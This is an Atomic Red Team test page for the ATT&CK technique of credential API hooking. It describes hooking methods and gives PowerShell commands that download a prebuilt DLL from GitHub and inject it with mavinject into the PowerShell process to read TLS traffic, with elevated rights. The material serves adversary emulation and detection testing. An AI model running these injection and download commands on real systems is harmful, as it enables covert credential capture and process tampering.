atomic-red-team/atomics/T1056.004/T1056.004.md

T1056.004 - Input Capture: Credential API Hooking

Description from ATT&CK

Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials.

In Windows, hooking involves redirecting calls to these functions and can be implemented via:

• Hooks procedures, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
• Import address table (IAT) hooking, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
• Inline hooking, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)

In Linux and macOS, adversaries may hook into system functions via the LD_PRELOAD (Linux) or DYLD_INSERT_LIBRARIES (macOS) environment variables, which enables loading shared libraries into a program’s address space. For example, an adversary may capture credentials by hooking into the libc read function leveraged by SSH or SCP.(Citation: Intezer Symbiote 2022)

Atomic Tests

• Atomic Test #1 - Hook PowerShell TLS Encrypt/Decrypt Messages

Atomic Test #1 - Hook PowerShell TLS Encrypt/Decrypt Messages

Hooks functions in PowerShell to read TLS Communications

Supported Platforms: Windows

auto_generated_guid: de1934ea-1fbf-425b-8795-65fb27dd7e33

Inputs:

Name	Description	Type	Default Value
file_name	Dll To Inject	path	PathToAtomicsFolder\T1056.004\bin\T1056.004x64.dll
server_name	TLS Server To Test Get Request	url	https://www.example.com

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

mavinject $pid /INJECTRUNNING "#{file_name}"
Invoke-WebRequest #{server_name} -UseBasicParsing

Dependencies: Run with powershell!

Description: T1056.004x64.dll must exist on disk at specified location (#{file_name})

Check Prereq Commands:

if (Test-Path "#{file_name}") {exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll" -OutFile "#{file_name}" -UseBasicParsing